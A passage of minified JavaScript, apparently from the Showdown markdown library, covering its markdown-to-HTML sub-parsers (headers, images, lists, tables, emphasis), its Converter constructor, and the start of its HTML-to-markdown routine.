C(g)})).replace(/<[^>]+?>/gi,function(g){return C(g)}),g=e.converter._dispatch("makehtml.hashHTMLSpans.after",g,A,e)}),p.subParser("makehtml.unhashHTMLSpans",function(g,A,e){"use strict";g=e.converter._dispatch("makehtml.unhashHTMLSpans.before",g,A,e);for(var C=0;C<e.gHtmlSpans.length;++C){for(var I=e.gHtmlSpans[C],r=0;/¨C(\d+)C/.test(I);){var t=RegExp.$1;if(I=I.replace("¨C"+t+"C",e.gHtmlSpans[t]),10===r){console.error("maximum nesting of 10 spans reached!!!");break}++r}g=g.replace("¨C"+C+"C",I)}return g=e.converter._dispatch("makehtml.unhashHTMLSpans.after",g,A,e)}),p.subParser("makehtml.hashPreCodeTags",function(g,r,t){"use strict";g=t.converter._dispatch("makehtml.hashPreCodeTags.before",g,r,t);return g=p.helper.replaceRecursiveRegExp(g,function(g,A,e,C){var I=e+p.subParser("makehtml.encodeCode")(A,r,t)+C;return"\n\n¨G"+(t.ghCodeBlocks.push({text:g,codeblock:I})-1)+"G\n\n"},"^ {0,3}<pre\\b[^>]*>\\s*<code\\b[^>]*>","^ {0,3}</code>\\s*</pre>","gim"),g=t.converter._dispatch("makehtml.hashPreCodeTags.after",g,r,t)}),p.subParser("makehtml.headers",function(g,n,o){"use strict";g=o.converter._dispatch("makehtml.headers.before",g,n,o);var s=isNaN(parseInt(n.headerLevelStart))?1:parseInt(n.headerLevelStart),A=n.smoothLivePreview?/^(.+)[ \t]*\n={2,}[ \t]*\n+/gm:/^(.+)[ \t]*\n=+[ \t]*\n+/gm,e=n.smoothLivePreview?/^(.+)[ \t]*\n-{2,}[ \t]*\n+/gm:/^(.+)[ \t]*\n-+[ \t]*\n+/gm;g=(g=g.replace(A,function(g,A){var e=p.subParser("makehtml.spanGamut")(A,n,o),C=n.noHeaderId?"":' id="'+i(A)+'"',I="<h"+s+C+">"+e+"</h"+s+">";return p.subParser("makehtml.hashBlock")(I,n,o)})).replace(e,function(g,A){var e=p.subParser("makehtml.spanGamut")(A,n,o),C=n.noHeaderId?"":' id="'+i(A)+'"',I=s+1,r="<h"+I+C+">"+e+"</h"+I+">";return p.subParser("makehtml.hashBlock")(r,n,o)});var C=n.requireSpaceBeforeHeadingText?/^(#{1,6})[ \t]+(.+?)[ \t]*#*\n+/gm:/^(#{1,6})[ \t]*(.+?)[ \t]*#*\n+/gm;function i(g){var A,e;if(n.customizedHeaderId){var C=g.match(/\{([^{]+?)}\s*$/);C&&C[1]&&(g=C[1])}return A=g,e=p.helper.isString(n.prefixHeaderId)?n.prefixHeaderId:!0===n.prefixHeaderId?"section-":"",n.rawPrefixHeaderId||(A=e+A),A=n.ghCompatibleHeaderId?A.replace(/ /g,"-").replace(/&amp;/g,"").replace(/¨T/g,"").replace(/¨D/g,"").replace(/[&+$,\/:;=?@"#{}|^¨~\[\]`\\*)(%.!'<>]/g,"").toLowerCase():n.rawHeaderId?A.replace(/ /g,"-").replace(/&amp;/g,"&").replace(/¨T/g,"¨").replace(/¨D/g,"$").replace(/["']/g,"-").toLowerCase():A.replace(/[^\w]/g,"").toLowerCase(),n.rawPrefixHeaderId&&(A=e+A),o.hashLinkCounts[A]?A=A+"-"+o.hashLinkCounts[A]++:o.hashLinkCounts[A]=1,A}return g=g.replace(C,function(g,A,e){var C=e;n.customizedHeaderId&&(C=e.replace(/\s?\{([^{]+?)}\s*$/,""));var I=p.subParser("makehtml.spanGamut")(C,n,o),r=n.noHeaderId?"":' id="'+i(e)+'"',t=s-1+A.length,a="<h"+t+r+">"+I+"</h"+t+">";return p.subParser("makehtml.hashBlock")(a,n,o)}),g=o.converter._dispatch("makehtml.headers.after",g,n,o)}),p.subParser("makehtml.horizontalRule",function(g,A,e){"use strict";g=e.converter._dispatch("makehtml.horizontalRule.before",g,A,e);var C=p.subParser("makehtml.hashBlock")("<hr />",A,e);return g=(g=(g=g.replace(/^ {0,2}( ?-){3,}[ \t]*$/gm,C)).replace(/^ {0,2}( ?\*){3,}[ \t]*$/gm,C)).replace(/^ {0,2}( ?_){3,}[ \t]*$/gm,C),g=e.converter._dispatch("makehtml.horizontalRule.after",g,A,e)}),p.subParser("makehtml.images",function(g,A,l){"use strict";function n(g,A,e,C,I,r,t,a){var n=l.gUrls,o=l.gTitles,s=l.gDimensions;if(e=e.toLowerCase(),a||(a=""),-1<g.search(/\(<?\s*>? ?(['"].*['"])?\)$/m))C="";else if(""===C||null===C){if(""!==e&&null!==e||(e=A.toLowerCase().replace(/ ?\n/g," ")),C="#"+e,p.helper.isUndefined(n[e]))return g;C=n[e],p.helper.isUndefined(o[e])||(a=o[e]),p.helper.isUndefined(s[e])||(I=s[e].width,r=s[e].height)}A=A.replace(/"/g,"&quot;").replace(p.helper.regexes.asteriskDashAndColon,p.helper.escapeCharactersCallback);var i='<img src="'+(C=C.replace(p.helper.regexes.asteriskDashAndColon,p.helper.escapeCharactersCallback))+'" alt="'+A+'"';return a&&(i+=' title="'+(a=a.replace(/"/g,"&quot;").replace(p.helper.regexes.asteriskDashAndColon,p.helper.escapeCharactersCallback))+'"'),I&&r&&(i+=' width="'+(I="*"===I?"auto":I)+'"',i+=' height="'+(r="*"===r?"auto":r)+'"'),i+=" />"}return g=(g=(g=(g=(g=(g=l.converter._dispatch("makehtml.images.before",g,A,l)).replace(/!\[([^\]]*?)] ?(?:\n *)?\[([\s\S]*?)]()()()()()/g,n)).replace(/!\[([^\]]*?)][ \t]*()\([ \t]?<?(data:.+?\/.+?;base64,[A-Za-z0-9+/=\n]+?)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*(?:(["'])([^"]*?)\6)?[ \t]?\)/g,function(g,A,e,C,I,r,t,a){return n(g,A,e,C=C.replace(/\s/g,""),I,r,0,a)})).replace(/!\[([^\]]*?)][ \t]*()\([ \t]?<([^>]*)>(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*(?:(?:(["'])([^"]*?)\6))?[ \t]?\)/g,n)).replace(/!\[([^\]]*?)][ \t]*()\([ \t]?<?([\S]+?(?:\([\S]*?\)[\S]*?)?)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*(?:(["'])([^"]*?)\6)?[ \t]?\)/g,n)).replace(/!\[([^\[\]]+)]()()()()()/g,n),g=l.converter._dispatch("makehtml.images.after",g,A,l)}),p.subParser("makehtml.italicsAndBold",function(g,A,e){"use strict";function C(g,A,e){return A+g+e}return g=e.converter._dispatch("makehtml.italicsAndBold.before",g,A,e),g=A.literalMidWordUnderscores?(g=(g=g.replace(/\b___(\S[\s\S]*)___\b/g,function(g,A){return C(A,"<strong><em>","</em></strong>")})).replace(/\b__(\S[\s\S]*)__\b/g,function(g,A){return C(A,"<strong>","</strong>")})).replace(/\b_(\S[\s\S]*?)_\b/g,function(g,A){return C(A,"<em>","</em>")}):(g=(g=g.replace(/___(\S[\s\S]*?)___/g,function(g,A){return/\S$/.test(A)?C(A,"<strong><em>","</em></strong>"):g})).replace(/__(\S[\s\S]*?)__/g,function(g,A){return/\S$/.test(A)?C(A,"<strong>","</strong>"):g})).replace(/_([^\s_][\s\S]*?)_/g,function(g,A){return/\S$/.test(A)?C(A,"<em>","</em>"):g}),g=A.literalMidWordAsterisks?(g=(g=g.replace(/([^*]|^)\B\*\*\*(\S[\s\S]+?)\*\*\*\B(?!\*)/g,function(g,A,e){return C(e,A+"<strong><em>","</em></strong>")})).replace(/([^*]|^)\B\*\*(\S[\s\S]+?)\*\*\B(?!\*)/g,function(g,A,e){return C(e,A+"<strong>","</strong>")})).replace(/([^*]|^)\B\*(\S[\s\S]+?)\*\B(?!\*)/g,function(g,A,e){return C(e,A+"<em>","</em>")}):(g=(g=g.replace(/\*\*\*(\S[\s\S]*?)\*\*\*/g,function(g,A){return/\S$/.test(A)?C(A,"<strong><em>","</em></strong>"):g})).replace(/\*\*(\S[\s\S]*?)\*\*/g,function(g,A){return/\S$/.test(A)?C(A,"<strong>","</strong>"):g})).replace(/\*([^\s*][\s\S]*?)\*/g,function(g,A){return/\S$/.test(A)?C(A,"<em>","</em>"):g}),g=e.converter._dispatch("makehtml.italicsAndBold.after",g,A,e)}),p.subParser("makehtml.lists",function(g,i,s){"use strict";function l(g,A){s.gListLevel++,g=g.replace(/\n{2,}$/,"\n");var e=/(\n)?(^ {0,3})([*+-]|\d+[.])[ \t]+((\[(x|X| )?])?[ \t]*[^\r]+?(\n{1,2}))(?=\n*(¨0| {0,3}([*+-]|\d+[.])[ \t]+))/gm,o=/\n[ \t]*\n(?!¨0)/.test(g+="¨0");return i.disableForced4SpacesIndentedSublists&&(e=/(\n)?(^ {0,3})([*+-]|\d+[.])[ \t]+((\[(x|X| )?])?[ \t]*[^\r]+?(\n{1,2}))(?=\n*(¨0|\2([*+-]|\d+[.])[ \t]+))/gm),g=(g=g.replace(e,function(g,A,e,C,I,r,t){t=t&&""!==t.trim();var a=p.subParser("makehtml.outdent")(I,i,s),n="";return r&&i.tasklists&&(n=' class="task-list-item" style="list-style-type: none;"',a=a.replace(/^[ \t]*\[(x|X| )?]/m,function(){var g='<input type="checkbox" disabled style="margin: 0px 0.35em 0.25em -1.6em; vertical-align: middle;"';return t&&(g+=" checked"),g+=">"})),a=a.replace(/^([-*+]|\d\.)[ \t]+[\S\n ]*/g,function(g){return"¨A"+g}),A||-1<a.search(/\n{2,}/)?(a=p.subParser("makehtml.githubCodeBlocks")(a,i,s),a=p.subParser("makehtml.blockGamut")(a,i,s)):(a=(a=p.subParser("makehtml.lists")(a,i,s)).replace(/\n$/,""),a=(a=p.subParser("makehtml.hashHTMLBlocks")(a,i,s)).replace(/\n\n+/g,"\n\n"),a=o?p.subParser("makehtml.paragraphs")(a,i,s):p.subParser("makehtml.spanGamut")(a,i,s)),a="<li"+n+">"+(a=a.replace("¨A",""))+"</li>\n"})).replace(/¨0/g,""),s.gListLevel--,A&&(g=g.replace(/\s+$/,"")),g}function c(g,A){if("ol"===A){var e=g.match(/^ *(\d+)\./);if(e&&"1"!==e[1])return' start="'+e[1]+'"'}return""}function I(I,r,t){var a=i.disableForced4SpacesIndentedSublists?/^ ?\d+\.[ \t]/gm:/^ {0,3}\d+\.[ \t]/gm,n=i.disableForced4SpacesIndentedSublists?/^ ?[*+-][ \t]/gm:/^ {0,3}[*+-][ \t]/gm,o="ul"===r?a:n,s="";if(-1!==I.search(o))!function g(A){var e=A.search(o),C=c(I,r);-1!==e?(s+="\n\n<"+r+C+">\n"+l(A.slice(0,e),!!t)+"</"+r+">\n",o="ul"===(r="ul"===r?"ol":"ul")?a:n,g(A.slice(e))):s+="\n\n<"+r+C+">\n"+l(A,!!t)+"</"+r+">\n"}(I);else{var g=c(I,r);s="\n\n<"+r+g+">\n"+l(I,!!t)+"</"+r+">\n"}return s}return g=s.converter._dispatch("lists.before",g,i,s),g+="¨0",g=(g=s.gListLevel?g.replace(/^(( {0,3}([*+-]|\d+[.])[ \t]+)[^\r]+?(¨0|\n{2,}(?=\S)(?![ \t]*(?:[*+-]|\d+[.])[ \t]+)))/gm,function(g,A,e){return I(A,-1<e.search(/[*+-]/g)?"ul":"ol",!0)}):g.replace(/(\n\n|^\n?)(( {0,3}([*+-]|\d+[.])[ \t]+)[^\r]+?(¨0|\n{2,}(?=\S)(?![ \t]*(?:[*+-]|\d+[.])[ \t]+)))/gm,function(g,A,e,C){return I(e,-1<C.search(/[*+-]/g)?"ul":"ol",!1)})).replace(/¨0/,""),g=s.converter._dispatch("makehtml.lists.after",g,i,s)}),p.subParser("makehtml.metadata",function(g,A,C){"use strict";if(!A.metadata)return g;function I(g){(g=(g=(C.metadata.raw=g).replace(/&/g,"&amp;").replace(/"/g,"&quot;")).replace(/\n {4}/g," ")).replace(/^([\S ]+): +([\s\S]+?)$/gm,function(g,A,e){return C.metadata.parsed[A]=e,""})}return g=(g=(g=(g=C.converter._dispatch("makehtml.metadata.before",g,A,C)).replace(/^\s*«««+(\S*?)\n([\s\S]+?)\n»»»+\n/,function(g,A,e){return I(e),"¨M"})).replace(/^\s*---+(\S*?)\n([\s\S]+?)\n---+\n/,function(g,A,e){return A&&(C.metadata.format=A),I(e),"¨M"})).replace(/¨M/g,""),g=C.converter._dispatch("makehtml.metadata.after",g,A,C)}),p.subParser("makehtml.outdent",function(g,A,e){"use strict";return g=(g=(g=e.converter._dispatch("makehtml.outdent.before",g,A,e)).replace(/^(\t|[ ]{1,4})/gm,"¨0")).replace(/¨0/g,""),g=e.converter._dispatch("makehtml.outdent.after",g,A,e)}),p.subParser("makehtml.paragraphs",function(g,A,e){"use strict";for(var C=(g=(g=(g=e.converter._dispatch("makehtml.paragraphs.before",g,A,e)).replace(/^\n+/g,"")).replace(/\n+$/g,"")).split(/\n{2,}/g),I=[],r=C.length,t=0;t<r;t++){var a=C[t];0<=a.search(/¨(K|G)(\d+)\1/g)?I.push(a):0<=a.search(/\S/)&&(a=(a=p.subParser("makehtml.spanGamut")(a,A,e)).replace(/^([ \t]*)/g,"<p>"),a+="</p>",I.push(a))}for(r=I.length,t=0;t<r;t++){for(var n="",o=I[t],s=!1;/¨(K|G)(\d+)\1/.test(o);){var i=RegExp.$1,l=RegExp.$2;n=(n="K"===i?e.gHtmlBlocks[l]:s?p.subParser("makehtml.encodeCode")(e.ghCodeBlocks[l].text,A,e):e.ghCodeBlocks[l].codeblock).replace(/\$/g,"$$$$"),o=o.replace(/(\n\n)?¨(K|G)\d+\2(\n\n)?/,n),/^<pre\b[^>]*>\s*<code\b[^>]*>/.test(o)&&(s=!0)}I[t]=o}return g=(g=(g=I.join("\n")).replace(/^\n+/g,"")).replace(/\n+$/g,""),e.converter._dispatch("makehtml.paragraphs.after",g,A,e)}),p.subParser("makehtml.runExtension",function(g,A,e,C){"use strict";if(g.filter)A=g.filter(A,C.converter,e);else if(g.regex){var I=g.regex;I instanceof RegExp||(I=new RegExp(I,"g")),A=A.replace(I,g.replace)}return A}),p.subParser("makehtml.spanGamut",function(g,A,e){"use strict";return g=e.converter._dispatch("smakehtml.panGamut.before",g,A,e),g=p.subParser("makehtml.codeSpans")(g,A,e),g=p.subParser("makehtml.escapeSpecialCharsWithinTagAttributes")(g,A,e),g=p.subParser("makehtml.encodeBackslashEscapes")(g,A,e),g=p.subParser("makehtml.images")(g,A,e),g=p.subParser("makehtml.anchors")(g,A,e),g=p.subParser("makehtml.autoLinks")(g,A,e),g=p.subParser("makehtml.simplifiedAutoLinks")(g,A,e),g=p.subParser("makehtml.emoji")(g,A,e),g=p.subParser("makehtml.underline")(g,A,e),g=p.subParser("makehtml.italicsAndBold")(g,A,e),g=p.subParser("makehtml.strikethrough")(g,A,e),g=p.subParser("makehtml.ellipsis")(g,A,e),g=p.subParser("makehtml.hashHTMLSpans")(g,A,e),g=p.subParser("makehtml.encodeAmpsAndAngles")(g,A,e),A.simpleLineBreaks?/\n\n¨K/.test(g)||(g=g.replace(/\n+/g,"<br />\n")):g=g.replace(/  +\n/g,"<br />\n"),g=e.converter._dispatch("makehtml.spanGamut.after",g,A,e)}),p.subParser("makehtml.strikethrough",function(g,C,I){"use strict";return C.strikethrough&&(g=(g=I.converter._dispatch("makehtml.strikethrough.before",g,C,I)).replace(/(?:~){2}([\s\S]+?)(?:~){2}/g,function(g,A){return e=A,C.simplifiedAutoLink&&(e=p.subParser("makehtml.simplifiedAutoLinks")(e,C,I)),"<del>"+e+"</del>";var e}),g=I.converter._dispatch("makehtml.strikethrough.after",g,C,I)),g}),p.subParser("makehtml.stripLinkDefinitions",function(g,a,n){"use strict";var A=function(g,A,e,C,I,r,t){return A=A.toLowerCase(),e.match(/^data:.+?\/.+?;base64,/)?n.gUrls[A]=e.replace(/\s/g,""):n.gUrls[A]=p.subParser("makehtml.encodeAmpsAndAngles")(e,a,n),r?r+t:(t&&(n.gTitles[A]=t.replace(/"|'/g,"&quot;")),a.parseImgDimensions&&C&&I&&(n.gDimensions[A]={width:C,height:I}),"")};return g=(g=(g=(g+="¨0").replace(/^ {0,3}\[(.+)]:[ \t]*\n?[ \t]*<?(data:.+?\/.+?;base64,[A-Za-z0-9+/=\n]+?)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*\n?[ \t]*(?:(\n*)["|'(](.+?)["|')][ \t]*)?(?:\n\n|(?=¨0)|(?=\n\[))/gm,A)).replace(/^ {0,3}\[(.+)]:[ \t]*\n?[ \t]*<?([^>\s]+)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*\n?[ \t]*(?:(\n*)["|'(](.+?)["|')][ \t]*)?(?:\n+|(?=¨0))/gm,A)).replace(/¨0/,"")}),p.subParser("makehtml.tables",function(g,m,d){"use strict";if(!m.tables)return g;function A(g){var A,e=g.split("\n");for(A=0;A<e.length;++A)/^ {0,3}\|/.test(e[A])&&(e[A]=e[A].replace(/^ {0,3}\|/,"")),/\|[ \t]*$/.test(e[A])&&(e[A]=e[A].replace(/\|[ \t]*$/,"")),e[A]=p.subParser("makehtml.codeSpans")(e[A],m,d);var C,I,r,t,a,n=e[0].split("|").map(function(g){return g.trim()}),o=e[1].split("|").map(function(g){return g.trim()}),s=[],i=[],l=[],c=[];for(e.shift(),e.shift(),A=0;A<e.length;++A)""!==e[A].trim()&&s.push(e[A].split("|").map(function(g){return g.trim()}));if(n.length<o.length)return g;for(A=0;A<o.length;++A)l.push((C=o[A],/^:[ \t]*--*$/.test(C)?' style="text-align:left;"':/^--*[ \t]*:[ \t]*$/.test(C)?' style="text-align:right;"':/^:[ \t]*--*[ \t]*:$/.test(C)?' style="text-align:center;"':""));for(A=0;A<n.length;++A)p.helper.isUndefined(l[A])&&(l[A]=""),i.push((I=n[A],r=l[A],t=void 0,t="",I=I.trim(),(m.tablesHeaderId||m.tableHeaderId)&&(t=' id="'+I.replace(/ /g,"_").toLowerCase()+'"'),"<th"+t+r+">"+(I=p.subParser("makehtml.spanGamut")(I,m,d))+"</th>\n"));for(A=0;A<s.length;++A){for(var u=[],h=0;h<i.length;++h)p.helper.isUndefined(s[A][h]),u.push((a=s[A][h],"<td"+l[h]+">"+p.subParser("makehtml.spanGamut")(a,m,d)+"</td>\n"));c.push(u)}return function(g,A){for(var e="<table>\n<thead>\n<tr>\n",C=g.length,I=0;I<C;++I)e+=g[I];for(e+="</tr>\n</thead>\n<tbody>\n",I=0;I<A.length;++I){e+="<tr>\n";for(var r=0;r<C;++r)e+=A[I][r];e+="</tr>\n"}return e+="</tbody>\n</table>\n"}(i,c)}return g=(g=(g=(g=d.converter._dispatch("makehtml.tables.before",g,m,d)).replace(/\\(\|)/g,p.helper.escapeCharactersCallback)).replace(/^ {0,3}\|?.+\|.+\n {0,3}\|?[ \t]*:?[ \t]*(?:[-=]){2,}[ \t]*:?[ \t]*\|[ \t]*:?[ \t]*(?:[-=]){2,}[\s\S]+?(?:\n\n|¨0)/gm,A)).replace(/^ {0,3}\|.+\|[ \t]*\n {0,3}\|[ \t]*:?[ \t]*(?:[-=]){2,}[ \t]*:?[ \t]*\|[ \t]*\n( {0,3}\|.+\|[ \t]*\n)*(?:\n|¨0)/gm,A),g=d.converter._dispatch("makehtml.tables.after",g,m,d)}),p.subParser("makehtml.underline",function(g,A,e){"use strict";return A.underline?(g=e.converter._dispatch("makehtml.underline.before",g,A,e),g=(g=A.literalMidWordUnderscores?g.replace(/\b_?__(\S[\s\S]*)___?\b/g,function(g,A){return"<u>"+A+"</u>"}):g.replace(/_?__(\S[\s\S]*?)___?/g,function(g,A){return/\S$/.test(A)?"<u>"+A+"</u>":g})).replace(/(_)/g,p.helper.escapeCharactersCallback),g=e.converter._dispatch("makehtml.underline.after",g,A,e)):g}),p.subParser("makehtml.unescapeSpecialChars",function(g,A,e){"use strict";return g=(g=e.converter._dispatch("makehtml.unescapeSpecialChars.before",g,A,e)).replace(/¨E(\d+)E/g,function(g,A){var e=parseInt(A);return String.fromCharCode(e)}),g=e.converter._dispatch("makehtml.unescapeSpecialChars.after",g,A,e)}),p.Converter=function(e){"use strict";var r={},t=[],a=[],n={},C=c,o={parsed:{},raw:"",format:""};function I(g,A){if(A=A||null,p.helper.isString(g)){if(A=g=p.helper.stdExtName(g),p.extensions[g])return console.warn("DEPRECATION WARNING: "+g+" is an old extension that uses a deprecated loading method.Please inform the developer that the extension should be updated!"),void function(g,A){"function"==typeof g&&(g=g(new p.Converter));p.helper.isArray(g)||(g=[g]);var e=h(g,A);if(!e.valid)throw Error(e.error);for(var C=0;C<g.length;++C)switch(g[C].type){case"lang":t.push(g[C]);break;case"output":a.push(g[C]);break;default:throw Error("Extension loader error: Type unrecognized!!!")}}(p.extensions[g],g);if(p.helper.isUndefined(i[g]))throw Error('Extension "'+g+'" could not be loaded. It was either not found or is not a valid extension.');g=i[g]}"function"==typeof g&&(g=g()),p.helper.isArray(g)||(g=[g]);var e=h(g,A);if(!e.valid)throw Error(e.error);for(var C=0;C<g.length;++C){switch(g[C].type){case"lang":t.push(g[C]);break;case"output":a.push(g[C])}if(g[C].hasOwnProperty("listeners"))for(var I in g[C].listeners)g[C].listeners.hasOwnProperty(I)&&s(I,g[C].listeners[I])}}function s(g,A){if(!p.helper.isString(g))throw Error("Invalid argument in converter.listen() method: name must be a string, but "+typeof g+" given");if("function"!=typeof A)throw Error("Invalid argument in converter.listen() method: callback must be a function, but "+typeof A+" given");n.hasOwnProperty(g)||(n[g]=[]),n[g].push(A)}!function(){for(var g in e=e||{},l)l.hasOwnProperty(g)&&(r[g]=l[g]);{if("object"!=typeof e)throw Error("Converter expects the passed parameter to be an object, but "+typeof e+" was passed instead.");for(var A in e)e.hasOwnProperty(A)&&(r[A]=e[A])}r.extensions&&p.helper.forEach(r.extensions,I)}(),this._dispatch=function(g,A,e,C){if(n.hasOwnProperty(g))for(var I=0;I<n[g].length;++I){var r=n[g][I](g,A,this,e,C);r&&void 0!==r&&(A=r)}return A},this.listen=function(g,A){return s(g,A),this},this.makeHtml=function(A){if(!A)return A;var g,e,C,I={gHtmlBlocks:[],gHtmlMdBlocks:[],gHtmlSpans:[],gUrls:{},gTitles:{},gDimensions:{},gListLevel:0,hashLinkCounts:{},langExtensions:t,outputModifiers:a,converter:this,ghCodeBlocks:[],metadata:{parsed:{},raw:"",format:""}};return A=(A=(A=(A=(A=A.replace(/¨/g,"¨T")).replace(/\$/g,"¨D")).replace(/\r\n/g,"\n")).replace(/\r/g,"\n")).replace(/\u00A0/g,"&nbsp;"),r.smartIndentationFix&&(e=(g=A).match(/^\s*/)[0].length,C=new RegExp("^\\s{0,"+e+"}","gm"),A=g.replace(C,"")),A="\n\n"+A+"\n\n",A=(A=p.subParser("makehtml.detab")(A,r,I)).replace(/^[ \t]+$/gm,""),p.helper.forEach(t,function(g){A=p.subParser("makehtml.runExtension")(g,A,r,I)}),A=p.subParser("makehtml.metadata")(A,r,I),A=p.subParser("makehtml.hashPreCodeTags")(A,r,I),A=p.subParser("makehtml.githubCodeBlocks")(A,r,I),A=p.subParser("makehtml.hashHTMLBlocks")(A,r,I),A=p.subParser("makehtml.hashCodeTags")(A,r,I),A=p.subParser("makehtml.stripLinkDefinitions")(A,r,I),A=p.subParser("makehtml.blockGamut")(A,r,I),A=p.subParser("makehtml.unhashHTMLSpans")(A,r,I),A=(A=(A=p.subParser("makehtml.unescapeSpecialChars")(A,r,I)).replace(/¨D/g,"$$")).replace(/¨T/g,"¨"),A=p.subParser("makehtml.completeHTMLDocument")(A,r,I),p.helper.forEach(a,function(g){A=p.subParser("makehtml.runExtension")(g,A,r,I)}),o=I.metadata,A},this.makeMarkdown=function(g){g=(g=(g=g.replace(/\r\n/g,"\n")).replace(/\r/g,"\n")).replace(/>[ \t]+</,">¨NBSP;<");var A=p.helper.document.createElement("div");A.innerHTML=g;var n=function(g){for(var A=g.querySelectorAll("pre"),e=[],C=0;C<A.length;++C)if(1===A[C].childElementCount&&"code"===A[C].firstChild.tagName.toLowerCase()){var I=A[C].firstChild.innerHTML.trim(),r=A[C].firstChild.getAttribute("data-language")||"";if(""===r)for(var t=A[C].firstChild.className.split(" "),a=0;a<t.length;++a){var n=t[a].match(/^language-(.+)$/);if(null!==n){r=n[1];break}}I=p.helper.unescapeHTMLEntities(I),e.push(I),A[C].outerHTML='<precode language="'+r+'" precodenum="'+C.toString()+'"></precode>'}else e.push(A[C].innerHTML),A[C].innerHTML="",A[C].setAttribute("prenum",C.toString());return e}(A);!function g(A){for(var e=0;e<A.childNodes.length;++e){var C=A.childNodes[e];3===C.nodeType?/\S/.test(C.nodeValue)?(C.nodeValue=C.nodeValue.split("\n").join(" "),C.nodeValue=C.nodeValue.replace(/(\s)+/g,"$1")):(A.removeChild(C),--e):1===C.nodeType&&g(C)}}(A);for(var e=A.childNodes,C="",I=0;I<e.length;I++)C+=o(e[I]);function o(g,A){A=A||!1;var e,C,I,r,t,a="";if(3===g.nodeType)return e=(e=(e=g.nodeValue).replace(/ +/g," ")).replace(/¨NBSP;/g," "),e=(e=(e=(e=(e=(e=(e=(e=(e=p.helper.unescapeHTMLEntities(e)).replace(/([*_~|`])/g,"\\$1")).replace(/^(\s*)>/g,"\\$1>")).replace(/^#/gm,"\\#")).replace(/^(\s*)([-=]{3,})(\s*)$/,"$1\\$2$3")).replace(/^( {0,3}\d+)\./gm,"$1\\.")).replace(/^( {0,3})([+-])/gm,"$1\\$2")).replace(/]([\s]*)\(/g,"\\]$1\\(")).replace(/^ {0,3}\[([\S \t]*?)]:/gm,"\\[$1]:");if(8===g.nodeType)return"\x3c!--"+g.data+"--\x3e\n\n";if(1!==g.nodeType)return"";switch(g.tagName.toLowerCase()){case"h1":A||(a=i(g,1)+"\n\n");break;case"h2":A||(a=i(g,2)+"\n\n");break;case"h3":A||(a=i(g,3)+"\n\n");break;case"h4":A||(a=i(g,4)+"\n\n");break;case"h5":A||(a=i(g,5)+"\n\n");break;case"h6":A||(a=i(g,6)+"\n\n");break;case"p":A||(a=function(g){var A="";if(g.hasChildNodes())for(var e=g.childNodes,C=e.length,I=0;I<C;++I)A+=o(e[I]);return A=A.trim()}(g)+"\n\n");break;case"blockquote":A||(a=function(g){var A="";if(g.hasChildNodes())for(var e=g.childNodes,C=e.length,I=0;I<C;++I){var r=o(e[I]);""!==r&&(A+=r)}return A="> "+(A=A.trim()).split("\n").join("\n> ")}(g)+"\n\n");break;case"hr":A||(a="---\n\n");break;case"ol":A||(a=s(g,"ol")+"\n\n");break;case"ul":A||(a=s(g,"ul")+"\n\n");break;case"precode":A||(r=(I=g).getAttribute("language"),t=I.getAttribute("precodenum"),a="```"+r+"\n"+n[t]+"\n```\n\n");break;case"pre":A||(C=g.getAttribute("prenum"),a="<pre>"+n[C]+"</pre>\n\n");break;case"table":A||(a=function(g){var A,e,C="",I=[[],[]],r=g.querySelectorAll("thead>tr>th"),t=g.querySelectorAll("tbody>tr");for(A=0;A<r.length;++A){var a=h(r[A]),n="---";if(r[A].hasAttribute("style")){var o=r[A].getAttribute("style").toLowerCase().replace(/\s/g,"");switch(o){case"text-align:left;":n=":---";break;case"text-align:right;":n="---:";break;case"text-align:center;":n=":---:"}}I[0][A]=a.trim(),I[1][A]=n}for(A=0;A<t.length;++A){var s=I.push([])-1,i=t[A].getElementsByTagName("td");for(e=0;e<r.length;++e){var l=" ";void 0!==i[e]&&(l=h(i[e])),I[s].push(l)}}var c=3;for(A=0;A<I.length;++A)for(e=0;e<I[A].length;++e){var u=I[A][e].length;c<u&&(c=u)}for(A=0;A<I.length;++A){for(e=0;e<I[A].length;++e)1===A?":"===I[A][e].slice(-1)?I[A][e]=p.helper.padEnd(I[A][e].slice(-1),c-1,"-")+":":I[A][e]=p.helper.padEnd(I[A][e],c,"-"):I[A][e]=p.helper.padEnd(I[A][e],c);C+="| "+I[A].join(" | ")+" |\n"}return C.trim()}(g)+"\n\n");break;case"code":a="`"+g.innerHTML+"`";break;case"em":case"i":a=function(g){var A="";if(g.hasChildNodes()){A+="*";for(var e=g.childNodes,C=e.length,I=0;I<C;++I)A+=o(e[I]);A+="*"}return A}(g);break;case"strong":case"b":a=function(g){var A="";if(g.hasChildNodes()){A+="**";for(var e=g.childNodes,C=e.length,I=0;I<C;++I)A+=o(e[I]);A+="**"}return A}(g);break;case"del":a=function(g){var A="";if(g.hasChildNodes()){A+="~~";for(var e=g.childNodes,C=e.length,I=0;I<C;++I)A+=o(e[I]);A+="~~"}return A}(g);break;case"a":a=function(g){var A="";if(g.hasChildNodes()&&g.hasAttribute("href")){var e=g.childNodes,C=e.length;A="[";for(var I=0;I<C;++I)A+=o(e[I]);A+="](",A+="<"+g.getAttribute("href")+">",g.hasAttribute("title")&&(A+=' "'+g.getAttribute("title")+'"'),A+=")"}return A}(g);break;case"img":a=function(g){var A="";g.hasAttribute("src")&&(A+="!["+g.getAttribute("alt")+"](",A+="<"+g.getAttribute("src")+">",g.hasAttribute("width")&&g.hasAttribute("height")&&(A+=" ="+g.getAttribute("width")+"x"+g.getAttribute("height")),g.hasAttribute("title")&&(A+=' "'+g.getAttribute("title")+'"'),A+=")");return A}(g);break;default:a=g.outerHTML+"\n\n"}return a}function s(g,A){var e="";if(!g.hasChildNodes())return"";for(var C=g.childNodes,I=C.length,r=g.getAttribute("start")||1,t=0;t<I;++t)if(void 0!==C[t].tagName&&"li"===C[t].tagName.toLowerCase()){e+=("ol"===A?r.toString()+". ":"- ")+a(C[t]),++r}return e.trim()}function a(g){for(var A="",e=g.childNodes,C=e.length,I=0;I<C;++I)A+=o(e[I]);return/\n$/.test(A)?A=A.split("\n").join("\n    ").replace(/^ 